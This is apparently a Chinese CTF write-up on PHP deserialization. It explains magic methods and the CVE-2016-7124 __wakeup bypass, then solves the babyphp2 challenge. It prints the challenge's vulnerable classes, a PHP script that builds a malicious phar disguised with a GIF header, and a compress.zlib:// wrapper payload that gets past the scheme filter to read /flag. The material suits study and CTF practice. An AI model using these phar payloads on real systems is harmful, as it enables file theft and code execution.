前言:我要當賽棍!!!
文章目錄
- 序列化與反序列化
- 基本介紹
- PHP反序列化漏洞原理
- 常用的魔法函式
- __wakeup()繞過:CVE-2016-7124
- __set:巔峰極客babyphp2
- 解決phar:// 不能出現在首部
- 本題關鍵原始碼
- Phar利用
- 參考文章
序列化與反序列化
基本介紹
- 序列化是將變數轉換為可保存或傳輸字串的程序
- 反序列化就是在適當的時候把這個字串再轉化成之前的變數來使用
- php進行序列化的目的是保存一個物件方便以后重用
- php提供了serialize和unserialize函式用以進行序列化和反序列化的操作
- Serialize將變數轉化為字串并且在轉換中保存當前變數的值
- Unserialize將serialize生成的字串變換回變數
PHP反序列化漏洞原理
- php反序列化漏洞又稱物件注入,其可能會導致注入,遠程代碼執行等安全問題的發生,
- php反序列化漏洞如何產生:
如果一個php代碼中使用了unserialize函式去呼叫某類, 該類中會自動執行一些自定義的魔術方法,并且這些魔術方法中若包含了一些危險的操作,或者這些魔術方法會去呼叫類中其他帶有危險操作的函式,如果這些危險操作中有我們可控的敏感引數,那么就可以執行一些自定義的操作,
常用的魔法函式
知只是簡單列出便于復習,具體的用法可以查看下面參考文獻當中的PHP之十六個魔術方法詳解
__construct(),類的建構式
__destruct(),類的解構式
__call(),在物件背景關系中呼叫不可訪問的方法時觸發
__callStatic(),用靜態方式中呼叫一個不可訪問方法時呼叫
__get(),用于從不可訪問的屬性讀取資料
__set(),用于將資料寫入不可訪問的屬性
__isset(),在不可訪問的屬性上呼叫isset()或empty()觸發
__unset(),在不可訪問的屬性上使用unset()時觸發
__sleep(),執行serialize()時,先會呼叫這個函式
__wakeup(),執行unserialize()時,先會呼叫這個函式
__toString(),類被當成字串時的回應方法
__invoke(),當腳本嘗試將物件呼叫為函式時觸發
__set_state(),呼叫var_export()匯出類時,此靜態方法會被呼叫
__clone(),當物件復制完成時呼叫
__autoload(),嘗試加載未定義的類
__debugInfo(),列印所需除錯資訊
__wakeup()繞過:CVE-2016-7124
- 存在漏洞的PHP版本:
5.6.25之前以及7.0.10之前的7.x版本 - 漏洞概述: __wakeup()魔法函式被繞過,導致執行了一些非預期效果的漏洞
- 漏洞原理: 當物件的屬性(變數)數大于實際的個數時,__wakeup()魔法函式被繞過
[漏洞利用] CVE-2016-7124 漏洞復現(總結自一CTF題目)
__set:巔峰極客babyphp2
解決phar:// 不能出現在首部
這時候我們可以利用compress.zlib:// 或compress.bzip2://函式,compress.zlib://和compress.bzip2://同樣適用于phar://,
payload: compress.zlib://phar://phar.phar/test.txt
本題關鍵原始碼
這道題是原始碼泄露有類,有上傳,有檔案讀取,很明顯的Phar反序列化,下面展示出關鍵源代碼
Reader類
Class Reader{
public $filename;
public $result;
public function read($filename){
if (preg_match("/flag/i",$filename)){
die("想多了嗷");
}
if (preg_match("/sh/i",$filename)){
die("nooooooooooo!");
}
if (preg_match("/^php|^file|^gopher|^http|^https|^ftp|^data|^phar|^smtp|^dict|^zip/i",$filename)){
die("Invid Schema!");
}
echo file_get_contents($filename);
}
public function __set($name,$val){
echo file_get_contents($val);
}
}
dbCtrl類
class dbCtrl
{
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
}
public function __destruct(){
echo $this->token;
}
}
User類
class User
{
public $id;
public $age=null;
public $nickname=null;
public $backup;
public function read(){
$reader=new reader();
$reader->read($_POST['filename']);
}
public function __toString()
{
$this->nickname->backup=$this->backup;
$user = new User();
$user->id = $_SESSION['id'];
$user->nickname = $_SESSION['token'];
return serialize($user);
}
}
Phar利用
簡單分析:
首先dbCtrl類物件在銷毀后會呼叫echo函式,如果我們將token賦值為User類則會呼叫其中的__toString方法,利用nickname = new Reader()在執行$this->nickname->backup=$this->backup;的時候由于其沒有backup屬性所以__set方法會被呼叫
<?php
class User
{
public $id;
public $age=null;
public $nickname=null;
public $backup;
public function __construct()
{
$this->nickname = new Reader();
$this->backup = "/flag";
}
}
class dbCtrl
{
public $token;
public function __construct()
{
$this->token = new User;
}
}
Class Reader{
public $filename;
public $result;
}
$y1ng = new dbCtrl();
$phar = new Phar("ichunqiu.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($y1ng);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
@rename("ichunqiu.phar", "1.txt");
上傳得到路徑,因為讀檔案時對schema有過濾,利用壓縮過濾器觸發phar即可:compress.zlib://phar:///var/www/html/upload/某個md5.txt
參考文章
PHP序列化與反序列化(大比武_CTF課_第四天)
從CTF中學習PHP反序列化的各種利用方式
PHP之十六個魔術方法詳解
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/141988.html
標籤:其他
上一篇:雙重檢查鎖定的問題以及解決方案
